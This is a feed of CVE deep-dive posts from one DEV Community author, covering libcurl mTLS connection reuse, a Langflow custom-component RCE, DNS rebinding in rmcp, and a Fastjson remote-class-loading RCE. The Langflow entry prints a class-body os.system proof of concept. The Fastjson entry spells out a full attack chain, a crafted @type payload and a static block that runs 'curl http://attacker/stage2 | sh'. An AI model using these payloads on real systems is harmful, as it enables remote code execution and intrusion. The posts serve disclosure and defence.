DEV Community: GUIDANCE WHITE

CVE-2026-8932: curl/libcurl mTLS Connection Reuse Vulnerability

GUIDANCE WHITE — Wed, 23 Sep 2026 04:54:41 +0000

Overview

Field	Value
CVE ID	CVE-2026-8932
Component	libcurl (the `curl` CLI itself is not affected)
CWE	CWE-305 (Authentication Bypass by Primary Weakness)
Severity	Low (no published CVSS 3.1 from cve.org/Red Hat; curl's own rating is Low)
Affected versions	7.7 through 8.20.0
Fixed in	8.21.0 (released 2026-06-24)
Reporter	Joshua Rogers (Aisle Research)

To save time, libcurl keeps TLS connections around in a connection pool and reuses them for later transfers that look like they use the same settings. This vulnerability sits in the logic that decides "are these settings the same?" — a handful of client-certificate options were silently excluded from that comparison. As a result, two easy handles that only differed in SSLKEY, SSLKEYTYPE, KEYPASSWD, SSLCERTTYPE, or SSLKEYBLOB could end up sharing the same already-authenticated connection.

Root Cause — A Struct Split in Two

libcurl keeps TLS settings in two different structs:

ssl_primary_config — the struct actually used by match_ssl_primary_config() to decide whether a connection can be reused, and by the TLS session-cache key
ssl_config_data — a larger struct holding the rest of the TLS configuration (it embeds ssl_primary_config as a member)

The problem: the five fields needed to actually open a client certificate — cert_type, key, key_type, key_passwd, and key_blob — lived in ssl_config_data, not ssl_primary_config. Since match_ssl_primary_config() only compares ssl_primary_config, those five fields were entirely outside its field of view. Before the patch, ssl_config_data looked roughly like this:

struct ssl_config_data {
  /* ... */
  char *cert_type;   /* format for certificate (default: PEM) */
  char *key;         /* private key filename */
  struct curl_blob *key_blob;
  char *key_type;    /* format for private key (default: PEM) */
  char *key_passwd;  /* plain text private key password */
  BIT(certinfo);
  /* ... */
};

And the actual reuse-check function (lib/vtls/vtls.c) only compared ssl_primary_config fields:

static bool match_ssl_primary_config(struct Curl_easy *data,
                                      struct ssl_primary_config *c1,
                                      struct ssl_primary_config *c2)
{
  if(Curl_safecmp(c1->CApath, c2->CApath) &&
     Curl_safecmp(c1->CAfile, c2->CAfile) &&
     Curl_safecmp(c1->issuercert, c2->issuercert) &&
     Curl_safecmp(c1->clientcert, c2->clientcert) &&
     /* ... curves, signature_algorithms, pinned_key, etc. ... */
     Curl_safecmp(c1->CRLfile, c2->CRLfile) &&
     Curl_safecmp(c1->pinned_key, c2->pinned_key))
    return TRUE;
  return FALSE;
}

clientcert (the certificate file path) was compared, but the fields that determine which private key opens that certificate — key and key_passwd — were not. So if two handles used the same SSLCERT but different SSLKEY values, the function would still conclude "same config" and let the connection be reused.

The diagram above shows this split: the left card lists the fields match_ssl_primary_config() actually compares (ssl_primary_config), and the right card lists the five fields that were excluded before the patch (ssl_config_data).

The TLS session cache had a parallel issue. Its cache key appended a fixed string, ":CCERT", to represent "this session used a client cert" — without encoding which certificate. So sessions using different client certificates could also collide in the session cache.

Attack Scenario

This becomes a real problem in applications where multiple easy handles share a connection pool — via CURLSH (a share handle) or a multi handle. A typical case is a server-side proxy or API gateway that authenticates different users to a backend over mTLS, each with their own client-certificate private key.

Handle A connects with SSLCERT=client.pem, SSLKEY=keyA.pem, completes the mTLS handshake, and the resulting connection is cached in the pool as "authenticated as user A".
Handle B sends a request using the same SSLCERT=client.pem but a different SSLKEY=keyB.pem.
match_ssl_primary_config() only checks that clientcert matches, so Handle B is handed the already-authenticated connection from Handle A without a new TLS handshake.
From the server's point of view, this connection is still verified against user A's mTLS certificate, so it processes Handle B's request as if it came from user A.

The flow above walks through this step by step. In effect, two requests intended to authenticate as different identities end up sharing the same authenticated channel simply because their private keys differed — which is why this was classified as CWE-305 (Authentication Bypass). The curl team was explicit that this is a pure logic flaw, not a memory-safety bug, and pointed to CVE-2022-27782 as a similar prior case.

The Patch

The fix in commit 7541ae5 promotes the five affected fields from ssl_config_data into ssl_primary_config:

struct ssl_primary_config {
  /* ... existing fields ... */
  char *pinned_key;
  char *CRLfile;
  char *cert_type;    /* moved here */
  char *key;           /* moved here */
  char *key_type;      /* moved here */
  char *key_passwd;    /* moved here */
  struct curl_blob *cert_blob;
  struct curl_blob *ca_info_blob;
  struct curl_blob *issuercert_blob;
  struct curl_blob *key_blob;   /* moved here */
  /* ... */
};

The comparison function now checks all five. Notably, key_passwd is compared with Curl_timestrcmp(), a timing-attack-resistant string comparison:

static bool match_ssl_primary_config(struct Curl_easy *data,
                                      struct ssl_primary_config *c1,
                                      struct ssl_primary_config *c2)
{
  if(/* existing comparisons */
     Curl_safecmp(c1->pinned_key, c2->pinned_key) &&
     curl_strequal(c1->cert_type, c2->cert_type) &&
     Curl_safecmp(c1->key, c2->key) &&
     curl_strequal(c1->key_type, c2->key_type) &&
     !Curl_timestrcmp(c1->key_passwd, c2->key_passwd))
    return TRUE;
  return FALSE;
}

Because the fields moved, every backend file referencing them had to change — 19 files in total, including openssl.c, gtls.c, mbedtls.c, rustls.c, schannel.c, wolfssl.c, libssh.c, libssh2.c, and ldap.c. References like ssl_config->key became ssl_config->primary.key. The OpenSSL backend, for example, changed like this:

/* before */
result = client_cert(data, octx->ssl_ctx, ssl_cert, ssl_cert_blob, ssl_cert_type,
                      ssl_config->key, ssl_config->key_blob,
                      ssl_config->key_type, ssl_config->key_passwd);

/* after */
result = client_cert(data, octx->ssl_ctx, ssl_cert, ssl_cert_blob, ssl_cert_type,
                      ssl_config->primary.key, ssl_config->primary.key_blob,
                      ssl_config->primary.key_type,
                      ssl_config->primary.key_passwd);

On the session-cache side, the fixed ":CCERT" marker was replaced with the actual clientcert path value, so sessions using different client certificates can no longer share a cache entry. clone_ssl_primary_config() and free_primary_ssl_config() also gained clone/free logic (CLONE_STRING, CLONE_BLOB, curlx_safefree) for the newly relocated fields. The fix was validated with two new test cases, 3303 and 3304.

Impact and Remediation

This bug traces back to commit a1d6ad2 around curl 7.7 (roughly 2010) and existed for nearly 16 years before being fixed in curl 8.21.0. The curl CLI itself is unaffected, since each invocation is a fresh process with its own connection pool. The exposure is limited to long-running applications that share a connection pool across multiple easy handles — via CURLSH or a multi handle — while switching client-certificate credentials between them, such as a proxy or gateway that authenticates different users over mTLS.

Remediation options:

Upgrade libcurl to 8.21.0 or later (recommended)
If upgrading isn't possible yet, backport commit 7541ae5 and rebuild
As a temporary mitigation, avoid reusing handles when client-certificate credentials change — create a new handle instead

CVE-2026–17633 - Authenticated RCE in Langflow OSS via /api/v1/custom_component

GUIDANCE WHITE — Mon, 21 Sep 2026 23:06:07 +0000

Summary

Field	Value
CVE ID	CVE-2026-17633
CVSS	8.5 (HIGH)
CWE	CWE-94 (Improper Control of Generation of Code)
Affected	Langflow OSS 1.0.0 – 1.10.3
Preconditions	Any authenticated user + `LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true`
Vulnerable endpoint	`POST /api/v1/custom_component`

Langflow is an open-source low-code platform for building LLM applications and agent workflows visually. One of its features, Custom Components, lets users define a component's behavior directly in Python. That feature is the attack surface for this vulnerability.
IBM's security advisory (published August 5, 2026) disclosed a cluster of issues in Langflow OSS 1.0.0–1.10.3. CVE-2026–17633 is the authenticated RCE reachable through /api/v1/custom_component.

Root Cause - Source-Level Analysis

1.1 The vulnerable endpoint

From langflow/api/v1/endpoints.py (around line 1271):

@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
 raw_code: CustomComponentRequest,
 user: CurrentActiveUser,
 request: Request,
) -> CustomComponentResponse:
 …
 # The only gate: "is the custom-component feature enabled at all?"
 if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
 raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, …)
# scan_code_security() is never called here
 component = Component(_code=effective_code)
 built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)

The important detail isn't that there's "no validation" - it's that the validation checks the wrong thing. allow_custom_components answers "is this user allowed to create custom components," not "is this code's content safe." In production, LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true is a common setting, and once it's on, this check passes trivially and the code flows through with zero content inspection.
Langflow does ship a separate AST-based scanner, scan_code_security() (covered in section 5), but this endpoint's execution path never calls it.

1.2 The actual bug lives in `prepare_global_scope()`

custom_component() calls build_custom_component_template(), which flows into create_class() in lfx/custom/validate.py. That function calls prepare_global_scope(), and the submitted code is exec()'d shortly after.

def prepare_global_scope(module):
 exec_globals = globals().copy()
 …
 for node in module.body:
 if isinstance(node, ast.Import | ast.ImportFrom):
 imports.append(node)
 elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
 definitions.append(node)
 …
 if definitions:
 compiled_code = compile(combined_module, "<string>", "exec")
 exec(compiled_code, exec_globals) # ← exec() happens here

This function walks the submitted code's AST and only collects import statements and class/def/assignment nodes into definitions. That's the trap.

A top-level statement like os.system(…) is, at the AST level, an ast.Expr node.
ast.Expr isn't in the isinstance allow-list above → it's silently dropped.
Code placed inside a class body, however, is part of that ClassDef node - so when the class is defined (i.e., when exec() runs), that code executes right along with it.

# ❌ Module level - classified as ast.Expr, silently dropped by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
 …
# ✅ Inside the class body - part of ClassDef, runs when exec() defines the class
class PocComponent(Component):
 os.system("id > /tmp/pwned.txt") # ← executes at class-definition time
 …

So the entire trick an attacker needs is: put the payload inside the class body, not at module level. No encoding tricks, no filter bypass gymnastics - just a simple, and simply devastating, design flaw.

Exploit Chain

The diagram below traces the full path from request to command execution.

In short:

Authenticated user (any privilege level)
 │
 ▼
POST /api/v1/custom_component { "code": "<malicious Python class>" }
 │
 ▼
build_custom_component_template() → create_class()
 │
 ▼
prepare_global_scope() - only ClassDef nodes get collected into definitions/exec target
 │
 ▼
compile_class_code() → exec(compiled_class, exec_globals)
 │
 ▼
Class body executes at definition time → RCE achieved

No LLM involvement, no scanner to evade. One HTTP request is enough.

Why the Scanner Didn't Catch This

Langflow ships a separate AST-based scanner, scan_code_security(), in langflow/agentic/helpers/code_security.py. But it's wired only into the Agentic Assistant path (validating LLM-generated component code) - it's never called from /api/v1/custom_component at all.
So CVE-2026–17633 isn't really a scanner bypass; it's exploiting a code path the scanner was never attached to in the first place. The scanner's own detection logic has a separate weakness (missing vars() coverage leading to a false is_safe: True verdict, tracked as CVE-2026–17632), which surfaced from analyzing the same codebase but is a distinct issue.

Patch and Mitigation

Upgrade to Langflow 1.10.4+, which adds content validation to the custom_component endpoint
Keep LANGFLOW_ALLOW_CUSTOM_COMPONENTS set to false in production unless the feature is genuinely needed
If custom components must be enabled, restrict which accounts can reach that feature
Audit the group permissions of the container's runtime user (gid=0 membership) to reduce lateral-movement / container-escape surface

CVE-2026-42559: DNS Rebinding in rmcp's Streamable HTTP Server Transport

GUIDANCE WHITE — Sun, 20 Sep 2026 06:48:13 +0000

Overview

Field	Value
CVE ID	CVE-2026-42559
Component	`rmcp` (official Rust SDK for the Model Context Protocol)
Vulnerable location	`crates/rmcp/src/transport/streamable_http_server/tower.rs`
Affected versions	`rmcp < 1.4.0`
Patched version	`rmcp >= 1.4.0` (commit `8e22aa2`, PR #764)
CVSS 3.1	8.8 (High) — `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H`
CWE	CWE-346 (Origin Validation Error), CWE-350 (Reliance on Reverse DNS Resolution)
Vulnerability class	DNS rebinding → local service access

rmcp is Anthropic's official Rust SDK for the Model Context Protocol (MCP), implementing the transport layer between LLM clients and the MCP servers that expose tools to them. Servers built with this SDK almost always run on a developer's own machine (127.0.0.1), exposing powerful tools — filesystem access, shell execution, browser control — over that loopback interface. The problem: prior to 1.4.0, the Streamable HTTP transport never validated the incoming Host header at all. That single missing check, combined with a DNS rebinding attack, is enough for a malicious web page to invoke arbitrary tools on a locally running MCP server the moment a victim opens it in a browser.

How DNS rebinding works here

A browser's Same-Origin Policy (SOP) decides trust based on a domain name, while the actual destination of a request is whatever IP DNS happens to resolve that name to at that moment. DNS rebinding attacks exploit exactly this gap.

The attacker sets a very short DNS TTL (e.g. 1 second) on a domain they control (attacker.example).
When the victim visits it, the first DNS answer is a legitimate public IP, so the page loads normally.
Once the TTL expires, in-page JavaScript re-requests the same domain — and this time the attacker's DNS answers with 127.0.0.1 (or another private address).
From the browser's perspective it's still the "same origin" (attacker.example), so SOP is satisfied, but the TCP connection now actually goes to the victim's own machine.
The HTTP request still carries Host: attacker.example, but the server receiving it is the local MCP server started via rmcp.

If the server had simply checked the Host header against a list of names it recognizes (localhost, 127.0.0.1, etc.) and rejected anything else, the attack would be stopped right at step 5. Prior to the patch, rmcp had no such check at all.

Before the patch: what was missing

Per the GitHub security advisory (GHSA-89vp-x53w-74fx), pre-1.4.0 versions of the Streamable HTTP server went straight from protocol-version checks (MCP-Protocol-Version), session-ID lookup, and JSON-RPC parsing into request handling — there was no step anywhere in the pipeline that compared Host/Origin against anything. Conceptually:

// Pre-patch (conceptual reconstruction) — no Host validation step existed
pub async fn handle<B>(&self, request: Request<B>) -> Response<BoxBody<Bytes, Infallible>>
where
    B: Body + Send + 'static,
    B::Error: Display,
{
    // <-- nothing here checked Host / Origin
    let method = request.method().clone();
    let result = match method {
        Method::POST => self.handle_post(request).await,
        Method::GET  => self.handle_get(request).await,
        Method::DELETE => self.handle_delete(request).await,
        _ => /* 405 */,
    };
    // ...
}

The server only asked "does this conform to the MCP protocol?", never "who is this request actually from?" It implicitly trusted any request that reached the loopback socket — and DNS rebinding is precisely the technique that breaks the assumption that "arrived on loopback" and "the Host header names the real caller" are the same thing.

Per the advisory, the blast radius is broad:

Enumerate (tools/list) and invoke (tools/call) every tool the server exposes
Read resources, prompts, and any state reachable through the session
Trigger side effects the tools support: file writes, shell execution, arbitrary outbound API calls

Because MCP servers typically run with the user's own privileges and often expose developer tooling (filesystem, shell, browser automation, language servers), the practical impact can extend to full code execution on the victim's machine.

After the patch: reading the actual source

The fix has three parts: ① a secure-by-default allowlist for hostnames, ② a validate_dns_rebinding_headers gate that every request now passes through, and ③ optional Origin validation as defense-in-depth. Let's walk through the deployed tower.rs source.

1) A secure default: `StreamableHttpServerConfig`

pub struct StreamableHttpServerConfig {
    // ... session/SSE fields omitted

    /// Allowed hostnames or `host:port` authorities for inbound `Host` validation.
    ///
    /// By default, Streamable HTTP servers only accept loopback hosts to
    /// prevent DNS rebinding attacks against locally running servers.
    pub allowed_hosts: Vec<String>,

    /// Allowed browser origins for inbound `Origin` validation.
    pub allowed_origins: Vec<String>,
    validate_empty_origin_allowlist: bool,
    // ...
}

impl Default for StreamableHttpServerConfig {
    fn default() -> Self {
        Self {
            // ...
            allowed_hosts: vec!["localhost".into(), "127.0.0.1".into(), "::1".into()],
            allowed_origins: vec![],
            validate_empty_origin_allowlist: false,
            // ...
        }
    }
}

The Default impl is the load-bearing part. Just calling StreamableHttpServerConfig::default() — no extra configuration needed — populates allowed_hosts with localhost, 127.0.0.1, and ::1. That flip from "insecure by default" to "secure by default" is the design philosophy behind this patch. A developer deploying publicly has to explicitly widen it via with_allowed_hosts(["mcp.example.com"]), and turning validation off entirely requires an equally explicit disable_allowed_hosts() — nothing about the safe path is accidental anymore.

impl StreamableHttpServerConfig {
    pub fn with_allowed_hosts(
        mut self,
        allowed_hosts: impl IntoIterator<Item = impl Into<String>>,
    ) -> Self {
        self.allowed_hosts = allowed_hosts.into_iter().map(Into::into).collect();
        self
    }

    /// Disable allowed hosts. NOT recommended for public deployments.
    pub fn disable_allowed_hosts(mut self) -> Self {
        self.allowed_hosts.clear();
        self
    }
}

Note that an empty allowed_hosts vector is exactly what host_is_allowed (below) treats as "allow everything," so disable_allowed_hosts() is a literal opt-out of this whole protection.

2) Enforcement at the entry point

pub async fn handle<B>(&self, request: Request<B>) -> Response<BoxBody<Bytes, Infallible>>
where
    B: Body + Send + 'static,
    B::Error: Display,
{
    if let Err(response) =
        validate_dns_rebinding_headers(request.uri(), request.headers(), &self.config)
    {
        return response.into_response();
    }
    // routing to POST/GET/DELETE only happens after this
    ...
}

Placement is the key detail here: validate_dns_rebinding_headers runs at the very top of handle(), ahead of both method dispatch and session lookup. A failed check returns immediately, before the server ever touches session state or parses the JSON-RPC body — shrinking the attack surface to "before the request reaches any internal logic at all."

3) Parsing the `Host` header — `parse_host_header`

fn parse_host_header(uri: &http::Uri, headers: &HeaderMap) -> HttpResult<NormalizedAuthority> {
    if let Some(host) = headers.get(http::header::HOST) {
        let host_str = host
            .to_str()
            .map_err(|_| bad_request_response("Bad Request: Invalid Host header encoding"))?;
        let authority = http::uri::Authority::try_from(host_str)
            .map_err(|_| bad_request_response("Bad Request: Invalid Host header"))?;
        return Ok(normalize_authority(authority.host(), authority.port_u16()));
    }
    // HTTP/2 carries the target in the :authority pseudo-header instead.
    let authority = uri.authority().ok_or_else(|| {
        bad_request_response("Bad Request: missing Host header")
    })?;
    Ok(normalize_authority(authority.host(), authority.port_u16()))
}

The HTTP/2 fallback matters. HTTP/1.1 names the target via the Host: header, but HTTP/2 replaces it with the :authority pseudo-header on the request line, and some middleware (e.g. axum::Router::nest) can strip the Host header hyper synthesizes from it during routing. So instead of "no Host header ⇒ allow," the code falls back to the URI's authority — meaning a missing header still gets checked against something, never silently skipped.

4) Normalizing the host — case and IPv6 brackets

fn normalize_host(host: &str) -> String {
    host.trim_matches('[')
        .trim_matches(']')
        .to_ascii_lowercase()
}

struct NormalizedAuthority {
    host: String,
    port: Option<u16>,
}

fn normalize_authority(host: &str, port: Option<u16>) -> NormalizedAuthority {
    NormalizedAuthority { host: normalize_host(host), port }
}

DNS names are case-insensitive (Localhost and localhost are the same host), and IPv6 literals appear bracketed in a URI ([::1]). Without normalizing both, an attacker could try bypassing the allowlist comparison with variants like Host: LOCALHOST or Host: [::1]. normalize_host handles both in one place so every later comparison can be a plain string ==.

5) Allowlist matching — `host_is_allowed`

fn parse_allowed_authority(allowed: &str) -> Option<NormalizedAuthority> {
    let allowed = allowed.trim();
    if allowed.is_empty() {
        return None;
    }
    if let Ok(authority) = http::uri::Authority::try_from(allowed) {
        return Some(normalize_authority(authority.host(), authority.port_u16()));
    }
    Some(normalize_authority(allowed, None))
}

fn host_is_allowed(host: &NormalizedAuthority, allowed_hosts: &[String]) -> bool {
    if allowed_hosts.is_empty() {
        // Empty allowlist = allow everything (not recommended).
        return true;
    }
    allowed_hosts
        .iter()
        .filter_map(|allowed| parse_allowed_authority(allowed))
        .any(|allowed| {
            allowed.host == host.host
                && match allowed.port {
                    Some(port) => host.port == Some(port),
                    None => true,
                }
        })
}

Each allowlist entry ("example.com", "example.com:8080", etc.) is parsed into a host/port pair before comparison. An entry with no port ("localhost") matches that host on any port; an entry with a port ("example.com:8080") only matches that exact port. This lets a developer keep localhost wide open (any port) during development while locking a production deployment down to example.com:443.

6) The gate itself — `validate_dns_rebinding_headers`

fn validate_dns_rebinding_headers(
    uri: &http::Uri,
    headers: &HeaderMap,
    config: &StreamableHttpServerConfig,
) -> HttpResult<()> {
    let host = parse_host_header(uri, headers)?;
    if !host_is_allowed(&host, &config.allowed_hosts) {
        tracing::warn!(
            host = ?host,
            "rejected request with disallowed Host header (possible DNS rebinding attempt)",
        );
        return Err(forbidden_response("Forbidden: Host header is not allowed").into());
    }
    validate_origin_header(headers, config)?;
    Ok(())
}

This single function is the fix. It parses Host, and if it isn't on the allowlist it returns 403 Forbidden immediately, logging a tracing::warn! that flags the possibility of a DNS rebinding attempt. In the diagram above, step 5's request arriving with Host: attacker.example is stopped right here — attacker.example isn't in the default allowlist (localhost, 127.0.0.1, ::1).

7) `Origin` validation — defense-in-depth

fn validate_origin_header(
    headers: &HeaderMap,
    config: &StreamableHttpServerConfig,
) -> HttpResult<()> {
    if !config.validate_empty_origin_allowlist && config.allowed_origins.is_empty() {
        return Ok(());
    }
    let Some(origin_header) = headers.get(http::header::ORIGIN) else {
        return Ok(());
    };
    let origin_str = origin_header
        .to_str()
        .map_err(|_| forbidden_response("Forbidden: Invalid Origin header encoding"))?;
    let origin = parse_origin_value(origin_str)
        .ok_or_else(|| forbidden_response("Forbidden: Invalid Origin header"))?;
    if !origin_is_allowed(&origin, &config.allowed_origins) {
        tracing::warn!(origin = ?origin, "rejected request with disallowed Origin header");
        return Err(forbidden_response("Forbidden: Origin header is not allowed").into());
    }
    Ok(())
}

As the advisory states explicitly, the root cause here is purely the missing Host check — Origin validation isn't required to stop this specific attack, since a browser can't forge the Host header it sends to the rebound target; the Host allowlist alone is sufficient. Origin checking was added anyway as defense-in-depth: by default, an empty allowed_origins list skips validation entirely (preserving backward compatibility), while calling enforce_origin_validation() switches to a strict mode that rejects any request carrying an Origin header, even with an empty allowlist.

Remediation

Upgrade to rmcp 1.4.0 or later. The default configuration alone already blocks any request whose Host isn't a loopback address.
If you're deploying an MCP server under a public domain, register it explicitly: StreamableHttpServerConfig::default().with_allowed_hosts(["mcp.example.com"]).
If upgrading isn't immediately possible, put a reverse proxy (nginx, Caddy, etc.) in front that rejects requests with an unexpected Host header, and don't bind the MCP server directly to 0.0.0.0.
Avoid disable_allowed_hosts() — it reverts you to the pre-patch, unprotected state — unless an upstream proxy is already validating Host on your behalf.

CVE-2026-16723: Pre-Auth RCE in Fastjson 1.x via the @JSONType Trust Branch

GUIDANCE WHITE — Wed, 16 Sep 2026 22:11:34 +0000

Overview


CVE ID	CVE-2026-16723
Affected	Fastjson 1.2.68 – 1.2.83 (every 1.x release still receiving use)
Preconditions	Spring Boot executable fat-JAR, `safeMode` disabled (default), `AutoType` disabled (default)
Auth required	None (pre-authentication)
CVSS	9.0 (9.8 under some scoring authorities)
Patch	None — Alibaba has declared Fastjson 1.x EOL and points users to Fastjson2

What makes this one worth a deep dive: it fires even with AutoType disabled and with zero known gadget classes (no JdbcRowSetImpl, no FileSystemXmlApplicationContext, nothing on any blacklist). The attacker simply writes a brand-new class of their own, hosts it remotely, and abuses the exact mechanism Fastjson uses to check whether that class is "safe."

1. The attack chain, end to end

Six steps, every one of them deterministic. No timing race, no memory corruption, nothing probabilistic.

Build evil.jar — a trivial class annotated with @JSONType, with a static { } block that calls Runtime.exec().
Host it over plain HTTP — python3 -m http.server is enough. No TLS required.
Encode the attacker's IP as a 32-bit integer — 192.168.1.100 becomes 3232235876. Section 3 explains why.
Send the crafted JSON — POST {"@type":"jar:http:..3232235876:8080.evil!.Evil"} to any endpoint that calls JSON.parseObject() on the body.
Two separate remote fetches — checkAutoType() pulls the class bytes over the network twice: once to inspect them, once to actually load them.
<clinit> fires automatically — the moment the JVM defines the class, its static initializer runs and RCE is complete.

2. Why six rounds of hardening still missed this

Fastjson's ParserConfig.checkAutoType() has been hardened repeatedly since CVE-2017-18349: blacklist introduction → FNV-1a rolling-hash upgrade → safeMode kill switch → expectClass tightening → the CVE-2022-25845 fix. By 1.2.83 this method was one of the most heavily audited pieces of code in the Java security world.

Every one of those rounds targeted the same thing: is the class name in @type a known dangerous gadget? The @JSONType annotation-trust branch was a different code path entirely — built on the assumption that "the developer put this annotation on their own class, so it's trustworthy." Nobody treated it as untrusted-input surface, because on its face it isn't reading @type to decide what to instantiate — it's just checking a metadata flag.

The problem: checking that flag requires fetching the class's bytes, and Fastjson fetches them through the JVM's class loader — which happily resolves jar:http:// URLs.

The first two gates (safeMode, hash blacklist) are pure name-shape filters. jar:http:..3232235876:8080.evil!.Evil doesn't resemble a Java class name at all, so both gates pass it straight through. The real vulnerability lives in gates 3 and 4.

3. Source-level walkthrough

3.1 Gate 3 — the `@JSONType` detection branch (the actual bug)

Inside ParserConfig.java in Fastjson 1.2.83, once a type name clears the blacklist it runs through this logic (reconstructed here for readability, same control flow as the shipped 1.2.83 source):

// com.alibaba.fastjson.parser.ParserConfig#checkAutoType (1.2.83)

boolean jsonType = false;
InputStream is = null;
try {
    // (A) Convert dotted Java package notation to slash-separated resource path
    String resource = typeName.replace('.', '/') + ".class";

    if (defaultClassLoader != null) {
        // (B) *** the first remote fetch happens right here ***
        //     if defaultClassLoader is Spring Boot's LaunchedURLClassLoader,
        //     it inherits URLClassLoader.getResourceAsStream() as-is
        is = defaultClassLoader.getResourceAsStream(resource);
    } else {
        is = ParserConfig.class.getClassLoader().getResourceAsStream(resource);
    }

    if (is != null) {
        // (C) ASM's ClassReader only *parses* bytecode, it never executes it
        ClassReader classReader = new ClassReader(is, true);
        TypeCollector visitor = new TypeCollector("<clinit>", new Class[0]);
        classReader.accept(visitor);
        jsonType = visitor.hasJsonType();   // only checks for @JSONType presence
    }
} catch (Exception e) {
    // (D) exception is swallowed silently — this enables silent probing
} finally {
    IOUtils.close(is);
}

if (autoTypeSupport || jsonType || expectClassFlag) {
    boolean cacheClass = autoTypeSupport || jsonType;
    // (E) *** the second remote fetch + real class loading happens here ***
    clazz = TypeUtils.loadClass(typeName, defaultClassLoader, cacheClass);
}

Point (B) is the actual primitive. getResourceAsStream() sounds like a safe, local-only lookup. But if defaultClassLoader is a URLClassLoader (or any subclass, which is exactly what Spring Boot's fat-JAR loader is), that call will happily resolve a jar:http:// scheme, open a real HTTP connection to the attacker's server, and hand back the downloaded bytes. ASM's ClassReader not executing bytecode is a real safety property — but it only guarantees "we didn't run the class." It says nothing about "we didn't fetch the class from an attacker-controlled host."

A lot of early write-ups describe this as "load happens before the annotation check" — that's not quite right. It's a two-stage remote fetch: stage one (B–C) safely inspects the bytes without executing them, stage two (E) is the real, JVM-level class load. The attacker only needs stage one to succeed in order to get an outbound connection; once @JSONType is detected, stage two fires the actual RCE.

3.2 Gate 4 — `TypeUtils.loadClass()` and `<clinit>`

if (clazz != null) {
    if (jsonType) {
        if (autoTypeSupport) {
            TypeUtils.addMapping(typeName, clazz);
        }
        return clazz;   // @JSONType trust branch — skips every ClassLoader /
                         // DataSource / RowSet guard that comes after this point
    }
    // ... expectClass checks, ClassLoader/DataSource/RowSet guards ...
}

By the time return clazz executes, the attack is already over. Inside TypeUtils.loadClass(), the call to defaultClassLoader.loadClass() → defineClass() triggers the JVM specification's guarantee that a class's <clinit> (static initializer) runs exactly once, the moment the class is prepared for use. Nothing in Fastjson can opt out of that — it's a JVM-level contract, not an application-level convention.

The attacker's Evil.class:

public class Evil {
    static {
        try {
            Runtime.getRuntime().exec(new String[]{
                "/bin/sh", "-c", "curl http://attacker/stage2 | sh"
            });
        } catch (Exception e) {}
    }
}

Nobody instantiates Evil. Nobody calls a method on it. Nobody even uses the returned Class<?> object. Loading the class is the entire attack.

3.3 Integer-IP encoding — surviving the `.` → `/` transform

Step (A) above, typeName.replace('.', '/'), exists to turn a normal class name like com.example.Foo into the resource path com/example/Foo. Because it's applied to the entire string, any dot anywhere — including inside a dotted IP address — gets rewritten too.

A literal 192.168.1.100 would turn into the broken URL jar:http://192/168/1/100:8080/evil!/Evil. So attackers convert the IPv4 address into its 32-bit integer form instead, which contains no dots at all.

The math is straightforward:

(192 << 24) | (168 << 16) | (1 << 8) | 100  =  3232235876

An integer host has no dots, so it passes through Fastjson's replace() untouched, and java.net.URL decodes the integer host back to 192.168.1.100 the moment it opens the actual socket. This has been standard JDK behavior since at least Java 1.4 — it isn't a JDK bug, just a side channel that happens to defeat Fastjson's string transform.

3.4 Why `jar:http://` even works — Spring Boot's `LaunchedURLClassLoader`

The jar:<inner-url>!/<entry> URL scheme is a documented, standard JVM feature. When the inner URL is http://, the JVM fetches the JAR remotely and extracts the requested entry — a feature that dates back to Java Web Start and applet-era remote class loading.

Spring Boot's fat-JAR launcher uses LaunchedURLClassLoader, which directly subclasses URLClassLoader. It's the default class loader for essentially every java -jar myapp.jar deployment. When Fastjson calls defaultClassLoader.loadClass("jar:http://3232235876:8080/evil!/Evil"), the standard URLClassLoader machinery:

Recognizes the jar: protocol.
Extracts the inner URL http://3232235876:8080/evil.
Opens an HTTP connection to that host.
GETs the JAR.
Locates the Evil.class entry inside it.
Calls defineClass() — registering and initializing the class.

Every single step here is standard, documented JVM behavior. Neither Fastjson's design nor Spring Boot's class loader is individually "wrong." The actual defect is that Fastjson passes an attacker-controlled string straight into the class loader without ever asking "does this even look like a plausible Java class name?" A one-line regex whitelist — something like ^[a-zA-Z_$][a-zA-Z0-9_$.]*$ — applied before any class-loader call would have closed this entire bug class.

4. Mitigations

There's no patch, so workarounds are the only lever available.

Option	Effect	Trade-off
Enable `safeMode` (`-Dfastjson.parser.safeMode=true`)	`checkAutoType()` throws unconditionally at the top of the method — blocks the entire path	Breaks any legitimate `@type`-based polymorphic deserialization
Switch to the `1.2.83_noneautotype` artifact	AutoType is stripped at compile time	Same functional loss as `safeMode`
Migrate to Fastjson2	Architecturally closes the bug class	Real migration cost due to API differences
Block outbound network access from the JVM	The remote fetch simply fails	Not Fastjson-specific, but generalizes to the next bug in this pattern

safeMode is the only mitigation that's unconditionally effective, because the throw happens at the very top of checkAutoType() — before gates 3 and 4 are ever reached. Blacklisting the literal string jar: at the WAF layer is not equivalent: it's trivially defeated by Jar:, JAR : (with a space), or alternate inner protocols like jar:https:// or jar:ftp://.

Fastjson2 renamed the entry point entirely, to ObjectReaderProvider.autoType(). It checks an allowlist of known types before ever touching the class loader, and rejects anything not on it — so there's no remote-fetch primitive reachable from an untrusted @type value in the first place.

5. Detection signatures

Wire-level

Request bodies containing "@type":"jar: in any casing or protocol variant (jar:http, jar:https, jar:ftp)
An @type value whose "host" segment is a long run of digits followed by :port
An @type value containing a double dot (..) — a strong signal of integer-IP encoding

Host-level

Outbound HTTP GET requests for .jar or .class files to unexpected destinations
Runtime.exec()-spawned child processes with a java/jre parent
New files appearing in /tmp (or the platform temp dir) within seconds of an inbound HTTP request

If your egress monitoring sees the first fetch (getResourceAsStream) but not the second (loadClass), that's a strong signal of reconnaissance — an attacker confirming the path is reachable without delivering a real payload yet.

CVE-2026-85706 Deep Dive — GitLab Repository Commits API Auth Bypass Leads to Unauthenticated Arbitrary File Read (CVSS 10.0)

GUIDANCE WHITE — Tue, 15 Sep 2026 00:52:05 +0000

Overview

Item	Detail
